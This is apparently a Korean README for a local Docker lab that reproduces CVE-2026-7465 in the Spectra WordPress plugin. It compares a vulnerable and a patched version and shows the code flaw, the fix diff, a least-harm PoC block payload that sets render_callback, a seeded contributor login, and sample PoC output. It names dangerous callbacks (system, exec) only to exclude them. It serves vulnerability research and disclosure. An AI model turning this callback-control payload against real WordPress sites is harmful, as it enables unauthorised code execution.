
Spectra Gutenberg Blocks WordPress 플러그인의 CVE-2026-7465를 분석하고 재현하기 위한 로컬 Docker 랩. render_callback 주입을 시연하는 최소 피해 PoC로 취약한 버전과 패치된 버전을 비교합니다.
WordPress 플러그인 Spectra Gutenberg Blocks(ultimate-addons-for-gutenberg)의 CVE-2026-7465를 분석하고 재현하기 위한 로컬 Docker 랩입니다.
이 랩은 다음을 비교합니다:
vuln: Spectra 2.19.25patched: Spectra 2.19.26이 증명(PoC)은 의도적으로 최소 피해(least-harm) 방식입니다. 셸 명령을 실행하거나, 파일을 업로드하거나, 사용자를 생성하거나, 컨테이너를 직접 수정하지 않습니다. PoC는 임시 WordPress 초안 게시물을 만들고, 렌더링된 블록 동작을 확인한 다음, 해당 초안을 삭제합니다.
CVE-2026-7465는 Spectra Gutenberg Blocks의 취약점으로, 사용자가 제어하는 Gutenberg 블록 속성(attributes)이 WordPress 블록 등록 인자(registration arguments)로 전달될 수 있는 문제입니다.
취약한 버전에서 Spectra는 게시물 콘텐츠의 블록 속성을 사용하여 파싱된 uagb/* 블록을 동적으로 등록합니다:
$registry->register( $block['blockName'], $block['attrs'] );
Contributor는 Gutenberg 블록 주석을 포함하는 게시물 콘텐츠를 만들 수 있으므로, 인증된 Contributor 권한 사용자는 render_callback과 같은 등록 인자에 영향을 줄 수 있습니다.
버전 2.19.26은 빈 인자 배열로 블록을 등록하여 이 문제를 수정합니다:
$registry->register( $block['blockName'], array() );
이로써 게시물에 의해 제어되는 블록 속성이 PHP 블록 등록 옵션이 되는 것을 방지합니다.
제품:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
이 랩에서 사용된 버전:
vulnerable: 2.19.25
patched: 2.19.26
WordPress.org의 2.19.26 변경 로그는 이 업데이트가 보안 버그를 해결했으며 책임 있는 신고를 한 Wordfence에 공을 돌리고 있다고 명시합니다.
취약한 로직은 다음 위치에 있습니다:
classes/class-uagb-init-blocks.php
취약한 코드는 파싱된 블록 이름이 uagb/ 네임스페이스를 포함하는지 확인합니다. 블록이 아직 등록되지 않은 경우 해당 블록을 동적으로 등록합니다.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
문제는 두 번째 인자입니다:
$block['attrs']
Gutenberg에서 블록 속성은 게시물 콘텐츠 내부에 저장될 수 있습니다. 예를 들어:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
Contributor는 초안 게시물 콘텐츠를 만들 수 있습니다. 따라서 공격자는 $block['attrs']에 영향을 줄 수 있습니다.
이러한 속성이 WP_Block_Type_Registry::register()에 전달되면 블록 등록 인자가 됩니다. 민감한 등록 인자 중 하나는 다음과 같습니다:
render_callback
이로 인해 콜백 제어 원시형(callback-control primitive)이 생성됩니다.
2.19.26에서 Spectra는 여전히 파싱된 uagb/* 블록 이름을 등록하지만, 더 이상 게시물에 의해 제어되는 속성을 등록 인자로 전달하지 않습니다:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
중요한 변경 사항은 다음과 같습니다:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
이로써 공격자가 제어하는 속성이 블록 등록 경로에서 제거됩니다.
maybe_serialize를 사용하는 이유PoC는 system, exec, shell_exec, passthru와 같은 위험한 PHP 콜백을 사용하지 않습니다.
대신 다음을 사용합니다:
maybe_serialize
증명 블록 콘텐츠는 다음과 같습니다:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
예상 동작:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
이로써 명령을 실행하거나 파일을 쓰지 않고도 취약한 동작을 증명합니다.
서비스:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
로컬 포트:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
시드된 WordPress 사용자:
username: contributor
password: contributorpass123!
role: contributor
PoC는 HTTP 전용입니다. 로그인 및 REST API 요청을 통해 WordPress와 상호작용합니다.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
깨끗한 환경에서 시작합니다:
docker compose down -v --remove-orphans
docker compose up -d --build
컨테이너 확인:
docker compose ps
시드 로그 확인:
docker compose logs seed_vuln seed_patched
예상 시드 결과:
[+] seed vuln: done
[+] seed patched: done
취약한 대상 테스트:
python3 poc/poc.py -t http://127.0.0.1:8181
예상 취약 판정:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
패치된 대상 테스트:
python3 poc/poc.py -t http://127.0.0.1:8182
예상 패치 판정:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
중요한 비교는 다음과 같습니다:
raw_contains_marker
rendered_contains_marker
취약한 대상과 패치된 대상 모두 다음을 표시해야 합니다:
raw_contains_marker: True
이로써 동일한 블록 콘텐츠가 임시 초안 게시물에 성공적으로 저장되었음을 확인합니다.
차이는 렌더링된 출력에 있습니다:
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
이로써 취약한 버전은 게시물에 의해 제어된 render_callback을 수용했지만, 패치된 버전은 수용하지 않았음을 입증합니다.
컨테이너, 네트워크, 볼륨을 중지하고 제거합니다:
docker compose down -v --remove-orphans
Python 캐시가 있으면 제거합니다:
rm -rf poc/__pycache__
이 저장소는 로컬 보안 연구 및 포트폴리오 시연용으로만 사용됩니다.
PoC는 다음을 수행합니다:
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대해 이 랩을 실행하지 마십시오.
WordPress.org 플러그인 페이지: Spectra Gutenberg Blocks - 블록 편집기용 웹사이트 빌더
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
WordPress.org 변경 로그: 2.19.26 - Monday, 4th May 2026 Wordfence에 공로를 인정한 보안 업데이트
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress 플러그인 SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/